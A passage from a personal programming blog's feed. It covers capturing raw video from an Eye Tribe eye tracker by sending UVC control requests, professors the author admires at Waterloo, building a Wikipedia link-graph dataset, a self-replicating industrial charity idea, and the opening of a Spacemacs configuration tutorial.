{:bmRequestType=&amp;gt;33, :bRequest=&amp;gt;1, :wValue=&amp;gt;1024, :wIndex=&amp;gt;512, :wLength=&amp;gt;2, :selector=&amp;gt;4, :unitId=&amp;gt;2, :req=&amp;gt;&quot;UVC_SET_CUR&quot;, :unit=&amp;gt;&quot;VC_PROCESSING_UNIT&quot;, :msg=&amp;gt;&quot;PU_GAIN_CONTROL&quot;}
[51, 0]
{:bmRequestType=&amp;gt;33, :bRequest=&amp;gt;1, :wValue=&amp;gt;768, :wIndex=&amp;gt;768, :wLength=&amp;gt;2, :selector=&amp;gt;3, :unitId=&amp;gt;3, :req=&amp;gt;&quot;UVC_SET_CUR&quot;, :unit=&amp;gt;&quot;VC_EXTENSION_UNIT&quot;}
[0, 0]
{:bmRequestType=&amp;gt;33, :bRequest=&amp;gt;1, :wValue=&amp;gt;1024, :wIndex=&amp;gt;512, :wLength=&amp;gt;2, :selector=&amp;gt;4, :unitId=&amp;gt;2, :req=&amp;gt;&quot;UVC_SET_CUR&quot;, :unit=&amp;gt;&quot;VC_PROCESSING_UNIT&quot;, :msg=&amp;gt;&quot;PU_GAIN_CONTROL&quot;}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So it looks like there are a couple requests sent to the extension unit, but only selector &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;3&lt;/code&gt; is sent with a positive value when the lights are turned on and later a zero when the lights are turned off.&lt;/p&gt;

&lt;h2 id=&quot;capture&quot;&gt;Capture&lt;/h2&gt;

&lt;p&gt;Now I just had to test my theory by writing an app that sent the right UVC control requests. I used &lt;a href=&quot;http://openframeworks.cc/&quot;&gt;OpenFrameworks&lt;/a&gt; since it comes with a camera capture example that uses
QtKit (which is deprecated but allegedly &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UVCCameraControl&lt;/code&gt; doesn’t work with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AVFoundation&lt;/code&gt;). I linked in the &lt;a href=&quot;https://github.com/atduskgreg/ofxUVC&quot;&gt;ofxUVC&lt;/a&gt; addon but ended up just calling the Obj-C
class directly. I started by fiddling with the gain setting and managed to even see myself a little bit without the IR illuminators turned on.&lt;/p&gt;

&lt;p&gt;Then I tried sending selector &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;3&lt;/code&gt; with a value of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;15&lt;/code&gt; to turn the lights on, and &lt;strong&gt;it worked first try&lt;/strong&gt;! The lights didn’t turn off when I shut down my test app, but that was an easy fix of adding another control message setting it to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;victory&quot;&gt;Victory!&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;https://camo.githubusercontent.com/3927cebd93eaf9e4c75858a4fad0b10d38cb6ad2/687474703a2f2f692e696d6775722e636f6d2f6733495855646f2e6a7067&quot; alt=&quot;Captured frame&quot; /&gt;&lt;/p&gt;

&lt;p&gt;That picture is captured with a gain level of around &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0&lt;/code&gt; but I noticed in the logs that the tracking server was setting the gain level around &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;51&lt;/code&gt;. But when I adjusted the gain that high,
the 8 bit green values used to hold the image started wrapping around leading to a messed up image. This might be the cause of the tracking quality issues I’ve been having, but the real server
might do something to mitigate this. &lt;strong&gt;Edit:&lt;/strong&gt; I’ve since discovered that lowering the exposure to compensate negates this issue, so I assume the real server uses a higher frame rate and lower exposure so they need the high gain setting. Another neat thing about the exposure is if you set it really long it can effectively take still pictures without the LEDs on.&lt;/p&gt;

&lt;p&gt;Next I used the feature of the demo app to save a video to my drive, which interestingly started replacing some frames with pure green, which didn’t happen at all in the live preview.
I later discovered that the 1 minute movie it saved was &lt;em&gt;10 gigabytes&lt;/em&gt; because it wasn’t using any compression. It is possible the dropped frames were my SSD bottlenecking the video capture.
Anyhow I compressed it down with Handbrake and uploaded it to Youtube, sorry for the annoying green frames.&lt;/p&gt;

&lt;p&gt;In the video below you can see me looking at the four corners of my screen, and then some things on the screen. I then slowly adjust the gain setting upwards until it reaches &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;51&lt;/code&gt; at which
point I wave my arms around to mark the time. Then I continue adjusting the gain up to maximum.&lt;/p&gt;

&lt;iframe width=&quot;660&quot; height=&quot;495&quot; src=&quot;https://www.youtube.com/embed/8CguH2EJqUo&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;

&lt;h2 id=&quot;update&quot;&gt;Update&lt;/h2&gt;

&lt;p&gt;After I first published this post I emailed The Eye Tribe with my info and story, and I got some help and info from them.
It turns out that the eye tracker isn’t working in as large of an area as it should (not sure why) so I can only use a 12” diagonal area of my screen instead of the full 24”.
If I use the small area I get much better accuracy, closer to +/- 1cm of jitter and a 0-4cm offset from my true gaze location. This is still not as good accuracy as advertized
and it works on a much smaller area than advertized, but it is better than before. It is still entirely useless to me though, the accuracy is good enough for my project, but the area is too small.
Note that I have seen videos of other people achieving the claimed accuracy, it is likely that there is still some special complicating factor with my unit or setup, most customers probably have no issues.&lt;/p&gt;

&lt;p&gt;This is post is also not ment to bash The Eye Tribe. They’re my second favourite eye tracking company after &lt;a href=&quot;https://pupil-labs.com/pupil/&quot;&gt;Pupil Labs&lt;/a&gt;. Despite their closed source software they are
still significantly more open than most other eye tracking companies with orders of magnitude lower cost.&lt;/p&gt;

&lt;h2 id=&quot;update-2&quot;&gt;Update 2&lt;/h2&gt;

&lt;p&gt;I’ve now figured out how to properly retrieve high resolution 60fps video at the full 10 bit depth.
The tracker has a variety of resolutions available, higher resolutions only work with lower frame rates.
The highest resolution is 2304x1536 which is available at 27FPS. Some of the resolutions offered are scaled down versions of the full image, whereas others are cropped areas of it.
In order to get the full 60FPS you have to lower the exposure time, which significantly increases the noiseness of the image.&lt;/p&gt;

&lt;p&gt;The pixels are encoded in YUY2 format where the lowest 8 bits of brightness are in the Y component and the highest 2 are in the UV component.&lt;/p&gt;

&lt;p&gt;I’ve created a &lt;a href=&quot;https://github.com/trishume/SmartGaze&quot;&gt;project on Github called SmartGaze&lt;/a&gt; where I’ve done a little bit of work on implementing eye tracking algorithms for the Eye Tribe.
So far I’ve retrieved the raw feed using &lt;a href=&quot;https://github.com/ktossell/libuvc&quot;&gt;libuvc&lt;/a&gt;, found the eye regions using glints, and then used an implementation of the &lt;a href=&quot;http://thirtysixthspan.com/openEyes/software.html&quot;&gt;Starburst algorithm&lt;/a&gt;
to locate the iris ellipse. The repo is released under the GPLv2 but &lt;a href=&quot;https://github.com/trishume/SmartGaze/tree/d8cc7a767f6a451d69905a9d67a95e16d14f401a&quot;&gt;an earlier commit&lt;/a&gt; containing just the code to read the raw 10 bit feed is released under the MIT license. I may or may not decide to finish this given that I recently got a &lt;a href=&quot;https://steelseries.com/gaming-controllers/sentry-gaming-eye-tracker&quot;&gt;Steelseries Sentry&lt;/a&gt; that works well for me when I run it in a Windows VM and &lt;a href=&quot;https://gist.github.com/trishume/b25492f25fc8ebe01dd9&quot;&gt;pipe the data over UDP&lt;/a&gt; to my mac.&lt;/p&gt;

&lt;p&gt;Here’s a video of the raw feed. The fact that you can hardly see the pupils in this video is a product of how I reduced the 10 bit image down to 8 bits, as well as not setting the PU_GAIN UVC control.
More recent commits of SmartGaze use a much brighter video, but one that washes out details of the face.&lt;/p&gt;

&lt;iframe width=&quot;660&quot; height=&quot;495&quot; src=&quot;https://www.youtube.com/embed/nfCrLg9DnGc&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;
</content>
 </entry>
 
 
 
 <entry>
   <title>Amazing Profs of Waterloo 2015</title>
   <link href="https://thume.ca/2015/11/19/amazing-profs-of-waterloo-2015/"/>
   <updated>2015-11-19T00:00:00+00:00</updated>
   <id>https://thume.ca/2015/11/19/amazing-profs-of-waterloo-2015</id>
   <content type="html">
&lt;p&gt;During my three terms at The University of Waterloo so far every single professor I’ve had has been quite good. Some however, are amazing. Each of these amazing profs is amazing in very different ways. Some are great lecturers, some great teachers and some great people.&lt;/p&gt;

&lt;p&gt;In this post I’ll highlight some of the great professors I’ve had so far and what makes them amazing.&lt;/p&gt;

&lt;h2 id=&quot;prabhakar-ragde-cs-146---the-educator&quot;&gt;Prabhakar Ragde (CS 146) - The Educator&lt;/h2&gt;

&lt;p&gt;Prabhakar is the most dedicated &lt;em&gt;teacher&lt;/em&gt; I have ever had. He spends an incredible amount of time and effort refining his lecture material and designing his courses to be the best they can be. He goes above and beyond to make sure that students learn in the best way possible. He had some trouble finding a good way to teach self-balancing binary trees, so he went and did original research and formulated a purely functional self-balancing binary tree data structure that’s main advantage is to being easier to learn. It seems to almost physically pain him to see something not taught well. Every teacher should aspire to be as good at teaching as Prabhakar is.&lt;/p&gt;

&lt;h3 id=&quot;protip&quot;&gt;Protip™&lt;/h3&gt;

&lt;p&gt;He teaches the advanced CS courses in first year, but he teaches them so well that for many people they are easier than the normal courses. The material is indeed more advanced, but the assignments are less work and the tests have bonus marks so it is easier to get high marks. I highly recommend taking CS 145 and 146.&lt;/p&gt;

&lt;p&gt;He is also addicted to Twitter, follow him if you want to know about all the fancy food he eats.&lt;/p&gt;

&lt;h2 id=&quot;jan-kycia-mns-101---the-renaissance-man&quot;&gt;Jan Kycia (MNS 101) - The Renaissance Man&lt;/h2&gt;

&lt;p&gt;Jan’s lectures are good, he’s an effective speaker and does very neat physics demos in class. What is really incredible about him is his breadth and depth of knowledge. Never in my life have I met anybody so knowledgeable in so many different fields. He’s a physicist by training, but also knows a ton about electronics, engineering, machining, measurement, plumbing, materials and really cold things. He leads a &lt;a href=&quot;http://science.uwaterloo.ca/~jkycia/&quot;&gt;low temperature lab&lt;/a&gt; (he says “millikelvin” a lot) where he uses all these skills to build some highly impressive things. Have I mentioned he’s also really nice and friendly?&lt;/p&gt;

&lt;p&gt;I would say that “Any sufficiently advanced technologist is indistinguishable from a wizard” except that Jan will gladly show you all of his tricks if you ask. I have an incredible amount of respect for Jan and look up to him as a model of a truly formidable human being.&lt;/p&gt;

&lt;h3 id=&quot;protip-1&quot;&gt;Protip™&lt;/h3&gt;

&lt;p&gt;After every class for around 40 minutes he answers student questions, goes on interesting tangents, and sometimes gives lab tours and descriptions of his research. It is very much worth your time to stick around for these, I have never once regretted staying after class to learn new and interesting things from him, even if they aren’t part of the course. Especially follow him whenever he brings students down to the lab to pick up assignments, that place is a technological wonderland and he gives amazing tours and research overviews if you ask.&lt;/p&gt;

&lt;p&gt;Also, MNS 101 (an introduction to material science) is a great course to take. It is very interesting and is a science that most people haven’t had any exposure to in high school.&lt;/p&gt;

&lt;h3 id=&quot;things-i-have-seen-in-his-lab&quot;&gt;Things I have seen in his lab&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Custom-designed electronic measurement equipment.&lt;/li&gt;
  &lt;li&gt;High-precision custom-machined heat pumps.&lt;/li&gt;
  &lt;li&gt;Custom-made vibration isolating vacuum pipe flextures.&lt;/li&gt;
  &lt;li&gt;Superconducting silicon wafer integrated circuits custom-fabricated in house.&lt;/li&gt;
  &lt;li&gt;Decades-old equipment that he has scavenged for pennies on the dollar and then painstakingly fixed up to working condition.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;examples-of-things-he-has-talked-about-after-class&quot;&gt;Examples of things he has talked about after class&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;The little-known secrets to creating incredibly pure samples of a material using a plasma arc melter, electrical discharge machining, acid baths, and many other steps.&lt;/li&gt;
  &lt;li&gt;How to procure an x-ray crystallography set-up on the cheap by buying used DNA flourescence scanners from hospitals.&lt;/li&gt;
  &lt;li&gt;The different types of superconducting and non-superconducting wire to use at temperatures approaching 0 kelvin.&lt;/li&gt;
  &lt;li&gt;The design factors to take into account when reducing vibrational heating through pipe flextures that must handle vacuum forces.&lt;/li&gt;
  &lt;li&gt;How to create strong non-heat-conductive supports by cutting up carbon fiber hunting arrows.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;eric-helleiner-psci-150---the-lecturer&quot;&gt;Eric Helleiner (PSCI 150) - The Lecturer&lt;/h2&gt;

&lt;p&gt;Helleiner’s lectures just make you want to listen. He’s enthusiastic about what he teaches in a very friendly way. I just really like listening to him talk about interesting political science things. He’s also knowledgeable and teaches interesting PSCI classes, but the reason he’s on this list is that his lectures are just really enjoyable.&lt;/p&gt;

&lt;h3 id=&quot;protip-2&quot;&gt;Protip™&lt;/h3&gt;

&lt;p&gt;Go to his office hours some time, maybe bring a friend, and just talk to him about interesting politics things. I skipped class to do this once and me and my friend chatted with him for over an hour.&lt;/p&gt;
</content>
 </entry>
 
 
 
 <entry>
   <title>Wikipedia Link Graphs and Terrible Hacks</title>
   <link href="https://thume.ca/2015/03/30/wikipedia-link-graphs-and-terrible-hacks/"/>
   <updated>2015-03-30T00:00:00+00:00</updated>
   <id>https://thume.ca/2015/03/30/wikipedia-link-graphs-and-terrible-hacks</id>
   <content type="html">
&lt;p&gt;A couple months ago &lt;a href=&quot;http://davepagurek.com/&quot;&gt;Dave Pagurek&lt;/a&gt; and I decided on making an &lt;a href=&quot;http://ratewithscience.thume.net&quot;&gt;arbitrary scale finder&lt;/a&gt; for the upcoming UWaterloo &lt;a href=&quot;http://terriblehack.website&quot;&gt;“stupid shit no one needs” hackathon&lt;/a&gt;. I decided that I would do this by finding paths in the links between Wikipedia pages. The thing is to do this I needed a good data set in the right format.&lt;/p&gt;

&lt;p&gt;I did some research and found &lt;a href=&quot;http://mu.netsoc.ie/wiki/&quot;&gt;Six Degrees of Wikipedia&lt;/a&gt; which had some information but no data or source files. I then found &lt;a href=&quot;https://github.com/mirkonasato/graphipedia&quot;&gt;Graphipedia&lt;/a&gt; but discovered that Neo4j was not fast enough to do what I wanted. Thus I embarked on the adventure of creating my own Wikipedia link graph data set designed for efficient execution of common graph algorithms. The premise was compressing the whole graph into a small(ish) file that would fit entirely in memory, so I called it &lt;a href=&quot;https://github.com/trishume/wikicrush&quot;&gt;Wikicrush&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I spent the next few weeks occasionally working on a set of Ruby scripts that in multiple stages processed the 10GB compressed &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;enwiki-20150205-pages-articles.xml.bz2&lt;/code&gt; file into two 500mb files: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xindex.db&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;indexbi.bin&lt;/code&gt;. For each stage in the process I ensured that it worked in O(n) time and reasonable memory. This way I could use crunch through the entire thing over a day on a cheap VPS. During development I would use the smaller Simple English wiki which I could process in a few minutes on my laptop. The advantage of the multi-stage design is that if I needed to tweak something I could just re-run the stages after that point rather than the whole thing. The intermediate files it created were also very useful for debugging and could be useful data sets in their own right.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/wikicrush/ssh-screenshot.png&quot; alt=&quot;VPS Working Away&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I ended up with two files I’m rather proud of, one is a binary link graph in a custom format I designed myself designed to fit in memory and allow very efficient searching and processing. The other is simply an Sqlite index designed to translate article titles into offsets into the binary file and back again. The formats are fairly easy to work with in any imperative language and have many handy features. I documented the formats in detail in the &lt;a href=&quot;https://github.com/trishume/wikicrush#primary-data&quot;&gt;Wikicrush readme&lt;/a&gt;. They work so well that my $10/month VPS can easily breadth first search through millions of articles in less than a second.&lt;/p&gt;

&lt;p&gt;I had the initial version working fairly quickly but had to spend a bunch of time fixing small bugs to get it to accurately represent the actual link graph of Wikipedia. I had to fix things like following redirects, cutting out broken links, ignoring links in comments and proper handling of case in links (I ended up lowercasing everything). Although making your own Wikipedia data set may seem easy at first, there’s plenty of ways things can go wrong. Many times I thought I had a good complete data set and only later would I realize something was wrong. One time I thought I had finally worked out the kinks and then discovered weeks later that it thought 70% of links on Wikipedia were invalid, which obviously isn’t true. Even just yesterday I found and fixed a little bug that only affected 300 articles, but the perfectionist in me sent my VPS to slave away for another 40 hours of rebuilding.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; I recently found another glitch and overhauled the entire process to be more robust. I now think I’ve shaken out all the bugs so I have put up a download of the final product.
You can find the link on the &lt;a href=&quot;https://github.com/trishume/wikicrush&quot;&gt;Wikicrush readme&lt;/a&gt;. I also no longer need to lowercase everything. This is AFAIK the only Wikipedia link graph dataset available for public download.&lt;/p&gt;

&lt;h2 id=&quot;the-terrible-hacks-hackathon&quot;&gt;The Terrible Hacks Hackathon&lt;/h2&gt;

&lt;p&gt;During the hackathon some parts went very smoothly while others did not. Working with the files I had created was very easy, working with the Rust language for my first time was not. At some point I could not link my graph search algorithm to the &lt;a href=&quot;https://github.com/iron/iron&quot;&gt;Iron&lt;/a&gt; web framework because my algorithm and Sqlite connection were not thread safe and one can not disable type system based thread safety checks in Iron with Rust. I ended up with a suitably terrible hack which was having the Rust code communicate over stdin/stdout and having a Ruby Sinatra server interface with that. Along with that, all the paths were hard coded, it required a specific &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rustc&lt;/code&gt; commit and one had to manually fiddle with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Cargo.toml&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Cargo.lock&lt;/code&gt; files to work around a bug in Cargo just to get it to compile. This made it practically impossible to install and run on anything but my laptop.&lt;/p&gt;

&lt;p&gt;I eventually got things hacked together and by that time Dave had put together a fantastic front end with fancy CSS, autocomplete and REST loading. All I had to do was serve his static files and expose a JSON API.&lt;/p&gt;

&lt;p&gt;Once we did that we had a product, and it ended up working great. The paths it generated were amusing and it was fun to use. Not to mention it looked pretty good for something put together in one afternoon:
&lt;img src=&quot;/assets/postassets/wikicrush/rws-screenshot.png&quot; alt=&quot;The Product&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;the-rewrite&quot;&gt;The Rewrite&lt;/h2&gt;

&lt;p&gt;A week later I decided to kill two birds with one experimental statically-typed stone and learned the &lt;a href=&quot;http://nim-lang.org/&quot;&gt;Nim&lt;/a&gt; language by rewriting the project in it. I ran into a couple similar problems with the Jester web framework and loading the file into an int32 array but unlike the similar problems in Rust these had easy workarounds. In the end everything worked reasonably well with Nim especially after I got some help on IRC from its creator.&lt;/p&gt;

&lt;p&gt;You can now visit and try out &lt;a href=&quot;http://ratewithscience.thume.net/&quot;&gt;Rate With Science&lt;/a&gt; powered purely by Nim and backed by Wikicrush.&lt;/p&gt;
</content>
 </entry>
 
 
 
 <entry>
   <title>Idea: A Viral Industrial Charity</title>
   <link href="https://thume.ca/2015/03/14/idea-a-viral-industrial-charity/"/>
   <updated>2015-03-14T00:00:00+00:00</updated>
   <id>https://thume.ca/2015/03/14/idea-a-viral-industrial-charity</id>
   <content type="html">
&lt;p&gt;Deviating from the usual programming content of this blog I’d like to talk about an idea I’ve been thinking about recently. This week I went to a talk by &lt;a href=&quot;http://lewisdartnell.com/en-gb/&quot;&gt;Lewis Dartnell&lt;/a&gt; author of the most interesting non-fiction book I’ve ever read called &lt;a href=&quot;http://the-knowledge.org/en-gb/the-book/&quot;&gt;The Knowledge&lt;/a&gt;. It’s a book that explores the essential science and technology necessary to build a modern society from the perspective of bootstrapping civilization after the apocalypse. The apocalypse is merely a convenient thought experiment though, its a fantastic read just to learn about all the hidden industrial processes and science that keeps the world working today.&lt;/p&gt;

&lt;p&gt;Personally the book got me thinking about how this idea of bootstrapping might help in the modern world. I also learned about the fundamental behind the scenes industrial processes that keep the world running, like the Haber-Bosch Process and the production of fundamental chemicals like lime. It gave me huge respect for how incredible difficult it is to create an industrial civilization.&lt;/p&gt;

&lt;p&gt;The most interesting idea I’ve thought of, and I’m sure this idea isn’t unique, is the possibility of a viral industrial charity. Suppose there exists a set of machinery, tools and knowledge which a group of people can use to produce a second set of machines in a reasonable time span like one year. The other criterion for these machines are that they can be used to productively ensure a decent standard of living for those working on reproducing them.&lt;/p&gt;

&lt;p&gt;If funding could be found to build one set of these machines, they could be set up in a third-world country as a kind of employer. A group of 100 or so people would be trained to use the machines and they would work to produce a new set and be compensated with the right to use the machines to provide themselves with good housing, food and other useful things. The magic comes once they finish the second set of machines and can use it to establish another village. Now there are two villages producing new sets and exponential growth takes hold, with luck the charity could grow to create thousands of new industrialized villages per year. With the only infusion of charity capital being the initial set, some management and perhaps a small kit for each new village of very difficult to produce items like machine control computers.&lt;/p&gt;

&lt;p&gt;This is by no means a perfect plan, there are many potential issues. Chief among them is that this set of machinery does not yet exist. Technology is awesome but it is also hard and highly interdependent. It is difficult to satisfy both of the dual criteria of having no external dependencies and being useful for sustaining an independent village. There is a project called the &lt;a href=&quot;http://opensourceecology.org/wiki/Global_Village_Construction_Set&quot;&gt;Global Village Construction Set&lt;/a&gt; that is trying to do just this but it is slow and difficult. They have some great ideas but designing all these machines is a lot of work and they have not solved the closed dependency problem despite trying very hard. Many of their machines require some external parts such as ball bearings and microcontrollers, which need very precise dedicated machinery to produce. It is likely that any set of reproducing machines might need a box of small precision parts like ball bearings and integrated circuits to close the cycle. However, if this box is cheap enough a charity could support the exponential growth without too much fund raising.&lt;/p&gt;

&lt;p&gt;The other technological challenge is resources. For the village to be self-sufficient it would have to produce its own materials and food. Farming can be done in many locations especially with good tools, but natural resources are often very spread out. The solution to this is probably to make everything out of a minimal set of different materials that are produced from very common natural resources. One idea from the Global Village Construction Set is the possibility of electrolyzing aluminum from clay. Clay is very common, easy to extract and can be used to make bricks, ceramic objects and aluminum metal (with some difficulty). A village built near a clay deposit, a river and some fertile land for farming with some natural or planted woodland nearby might be able to produce all the resources it needs. The village may still need to do some trading perhaps of aluminum for scrap steel to produce high stress specialized parts though, steel mining and refining is likely beyond the capability of a small village yet steel is necessary for many useful machines.&lt;/p&gt;

&lt;p&gt;The other thing to think about is the charity structure itself. It has the virtue of not being very dependent on the external economy and enabling self-sufficiency. However, it does require at least some managerial and government structure to ensure that the people living in the village continue producing new sets of machinery instead of just using them to satisfy their own needs. This should be possible in any country with a decent government, it could probably be set up legally as an employer, albeit an unconventional one. Villagers who stopped producing machinery would be breaking the law in the same way as factory employees would be if they started stealing the output of the factory and taking it home. And I’m sure the occupants/employees would at least feel content with the idea that the purpose of their hard work is to help lift others out of poverty. They would of course also be compensated with a standard of living higher than they were used to.&lt;/p&gt;

&lt;p&gt;As long as no one has designed this theoretical village this plan remains just an idea. However, the &lt;a href=&quot;http://opensourceecology.org/wiki/Global_Village_Construction_Set&quot;&gt;Global Village Construction Set&lt;/a&gt; is doing a great job and it is possible that years in the future it will be polished enough that with some start up capital and planning this could be a real endeavour. For my part I might even try to help design some of the machines on their to-do list as a fun hobby and way of learning about machinery.&lt;/p&gt;

&lt;p&gt;For anyone who found the content of this post interesting, I highly recommend you read &lt;a href=&quot;http://the-knowledge.org/en-gb/the-book/&quot;&gt;The Knowledge&lt;/a&gt; and take a look at the wiki for the &lt;a href=&quot;http://opensourceecology.org/wiki/Global_Village_Construction_Set&quot;&gt;Global Village Construction Set&lt;/a&gt;. I just thought I’d put this idea out there to see if anyone else has comments on it, I by no means think this is a perfect plan and it likely would have many practical tripping points. However, if these problems could be solved its potential impact per dollar invested is amazing.&lt;/p&gt;
</content>
 </entry>
 
 
 
 <entry>
   <title>Configuring Spacemacs: A Tutorial</title>
   <link href="https://thume.ca/howto/2015/03/07/configuring-spacemacs-a-tutorial/"/>
   <updated>2015-03-07T00:00:00+00:00</updated>
   <id>https://thume.ca/howto/2015/03/07/configuring-spacemacs-a-tutorial</id>
   <content type="html">
&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; Some things in this post are now outdated. I’m currently using Sublime Text with Vim keybindings instead of Spacemacs so I haven’t been keeping up. I’ve fixed some things (Thanks Fabien!) but others may remain. If you want to fix something outdated &lt;a href=&quot;https://github.com/trishume/trishume.github.com/blob/master/_posts%2F2015-03-07-configuring-spacemacs-a-tutorial.md&quot;&gt;submit a PR to my website&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;A few months ago I switched to using &lt;a href=&quot;https://github.com/syl20bnr/spacemacs&quot;&gt;Spacemacs&lt;/a&gt; as my text editor of choice. It has great vim keybindings and extensive default configs for a variety of packages. I’ve become one of the top contributors to Spacemacs and I’ve learned a few things about configuring it in the process. This post will function as a tutorial to get you started with configuring Spacemacs to your liking.&lt;/p&gt;

&lt;p&gt;You can get started using Spacemacs by following the installation instructions in the &lt;a href=&quot;https://github.com/syl20bnr/spacemacs&quot;&gt;readme&lt;/a&gt; and perusing the in-depth &lt;a href=&quot;https://github.com/syl20bnr/spacemacs/blob/master/doc/DOCUMENTATION.org&quot;&gt;documentation&lt;/a&gt;.&lt;/p&gt;

&lt;h1 id=&quot;the-spacemacs-file&quot;&gt;The .spacemacs File&lt;/h1&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/.spacemacs&lt;/code&gt; file is your main starting point for configuring Spacemacs. If you don’t have this file you can install a template pressing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SPC : dotspacemacs/install RET&lt;/code&gt; in Spacemacs, where &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SPC&lt;/code&gt; is space and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RET&lt;/code&gt; is the enter key. At any time you can press &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SPC f e d&lt;/code&gt; to edit this file.&lt;/p&gt;

&lt;p&gt;The template comes with many variables that you can customize and use to set things like font sizes and window preferences. Once you are done editing, save the file and either press &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SPC f e R&lt;/code&gt; in the file to reload it or just restart Spacemacs.&lt;/p&gt;

&lt;p&gt;Some parts of this file are more important than others:&lt;/p&gt;

&lt;h2 id=&quot;dotspacemacsuser-config&quot;&gt;dotspacemacs/user-config&lt;/h2&gt;

&lt;p&gt;This function is run after Spacemacs sets itself up, in here you can customize variables and activate extra functionality you want. Perhaps the most important thing to know is that this is generally where you can paste random snippets of Emacs Lisp you find on the internet. If a page says to put a snippet into your &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;init.el&lt;/code&gt; file &lt;strong&gt;don’t do that&lt;/strong&gt;, put it in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dotspacemacs/user-config&lt;/code&gt; instead.&lt;/p&gt;

&lt;p&gt;Another thing this function is useful for is setting the default state of some toggleable editor preferences. If you press &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SPC t&lt;/code&gt; you will see some of the things you can toggle, these include line numbers, line wrapping, current line highlight, etc…&lt;/p&gt;

&lt;p&gt;Most of these toggles actually enable and disable “minor modes”, if you want some of these on or off by default you can put things like these in your &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dotspacemacs/user-config&lt;/code&gt; function:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-lisp&quot; data-lang=&quot;lisp&quot;&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;defun&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;dotspacemacs/user-config&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;global-hl-line-mode&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;-1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; Disable current line highlight&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;global-linum-mode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; Show line numbers by default&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;dotspacemacs-configuration-layers&quot;&gt;dotspacemacs-configuration-layers&lt;/h2&gt;

&lt;p&gt;This brings us to &lt;strong&gt;configuration layers&lt;/strong&gt; the most core concept of Spacemacs. Not all parts of Spacemacs are enabled by default, there are a large number of user contributed “layers” that add packages and configs for things like programming languages, external tools and extra functionality. Layers specify which packages they want Spacemacs to install for them, how to load the package and often include some default configs to make the package integrate well with the rest of Spacemacs.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dotspacemacs-configuration-layers&lt;/code&gt; variable, set in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dotspacemacs/layers&lt;/code&gt; function near the top of the template is where you specify which layers you want to include. When you find yourself wondering “does Spacemacs come with support for X?” you can simply type &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SPC f e h&lt;/code&gt; and search through the built in layers. Once you find one you want to include simply include it in the list in the variable set statement. This is what mine looks like:&lt;/p&gt;

